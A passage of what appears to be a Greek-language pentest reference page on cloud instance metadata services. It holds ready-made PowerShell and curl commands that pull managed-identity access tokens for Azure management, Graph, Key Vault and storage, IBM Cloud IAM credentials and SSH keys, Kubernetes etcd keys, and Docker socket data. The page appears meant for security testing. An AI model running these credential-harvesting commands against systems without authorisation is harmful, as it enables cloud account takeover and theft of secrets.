$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
## Get management token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get graph token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get vault token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get storage token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
|
||
# More Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
### Υπηρεσίες Azure App & Functions & Λογαριασμοί Αυτοματοποίησης
|
||
|
||
Από το **env** μπορείτε να αποκτήσετε τις τιμές των **`IDENTITY_HEADER`** και **`IDENTITY_ENDPOINT`**. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
|
||
|
||
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
|
||
|
||
- [https://storage.azure.com](https://storage.azure.com/)
|
||
- [https://vault.azure.net](https://vault.azure.net/)
|
||
- [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
- [https://management.azure.com](https://management.azure.com/)
|
||
|
||
> [!CAUTION]
|
||
> Στις αιτήσεις token χρησιμοποιήστε οποιαδήποτε από τις παραμέτρους `object_id`, `client_id` ή `msi_res_id` για να υποδείξετε την διαχειριζόμενη ταυτότητα που θέλετε να χρησιμοποιήσετε ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Αν καμία, θα χρησιμοποιηθεί η **προεπιλεγμένη MI**.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# (Fingerprint) You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get vault token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get storage token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```bash
|
||
# Define the API version
|
||
$API_VERSION = "2019-08-01"
|
||
|
||
# Function to get a token for a specified resource
|
||
function Get-Token {
|
||
param (
|
||
[string]$Resource
|
||
)
|
||
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
|
||
$headers = @{
|
||
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
|
||
}
|
||
try {
|
||
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
|
||
$response.access_token
|
||
} catch {
|
||
Write-Error "Error obtaining token for $Resource: $_"
|
||
}
|
||
}
|
||
|
||
# Get Management Token
|
||
$managementToken = Get-Token -Resource "https://management.azure.com/"
|
||
Write-Host "Management Token: $managementToken"
|
||
|
||
# Get Graph Token
|
||
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
|
||
Write-Host "Graph Token: $graphToken"
|
||
|
||
# Get Vault Token
|
||
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
|
||
Write-Host "Vault Token: $vaultToken"
|
||
|
||
# Get Storage Token
|
||
$storageToken = Get-Token -Resource "https://storage.azure.com/"
|
||
Write-Host "Storage Token: $storageToken"
|
||
|
||
|
||
# Using oneliners
|
||
|
||
## Get management token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get graph token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get vault token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get storage token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
|
||
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
## IBM Cloud
|
||
|
||
> [!WARNING]
|
||
> Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
Documentation για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορία ρύθμισης και εκτέλεσης για τις περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.
|
||
|
||
## Packetcloud
|
||
|
||
Για την πρόσβαση στα μεταδεδομένα του Packetcloud, η τεκμηρίωση μπορεί να βρεθεί στο: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||
|
||
## OpenStack/RackSpace
|
||
|
||
Η ανάγκη για ένα header δεν αναφέρεται. Τα μεταδεδομένα μπορούν να αποκτηθούν μέσω:
|
||
|
||
- `http://169.254.169.254/openstack`
|
||
|
||
## HP Helion
|
||
|
||
Η ανάγκη για ένα header δεν αναφέρεται εδώ επίσης. Τα μεταδεδομένα είναι προσβάσιμα στο:
|
||
|
||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||
|
||
## Oracle Cloud
|
||
|
||
Η Oracle Cloud παρέχει μια σειρά από endpoints για την πρόσβαση σε διάφορες πτυχές μεταδεδομένων:
|
||
|
||
- `http://192.0.0.192/latest/`
|
||
- `http://192.0.0.192/latest/user-data/`
|
||
- `http://192.0.0.192/latest/meta-data/`
|
||
- `http://192.0.0.192/latest/attributes/`
|
||
|
||
## Alibaba
|
||
|
||
Η Alibaba προσφέρει endpoints για την πρόσβαση σε μεταδεδομένα, συμπεριλαμβανομένων των IDs περιπτώσεων και εικόνων:
|
||
|
||
- `http://100.100.100.200/latest/meta-data/`
|
||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||
|
||
## Kubernetes ETCD
|
||
|
||
Το Kubernetes ETCD μπορεί να περιέχει API keys, εσωτερικές διευθύνσεις IP και θύρες. Η πρόσβαση αποδεικνύεται μέσω:
|
||
|
||
- `curl -L http://127.0.0.1:2379/version`
|
||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||
|
||
## Docker
|
||
|
||
Τα μεταδεδομένα του Docker μπορούν να αποκτηθούν τοπικά, με παραδείγματα για την ανάκτηση πληροφοριών κοντέινερ και εικόνας:
|
||
|
||
- Απλό παράδειγμα για την πρόσβαση στα μεταδεδομένα κοντέινερ και εικόνας μέσω του Docker socket:
|
||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||
- Μέσα στο κοντέινερ, χρησιμοποιήστε curl με το Docker socket:
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||
|
||
## Rancher
|
||
|
||
Τα μεταδεδομένα του Rancher μπορούν να αποκτηθούν χρησιμοποιώντας:
|
||
|
||
- `curl http://rancher-metadata/<version>/<path>`
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|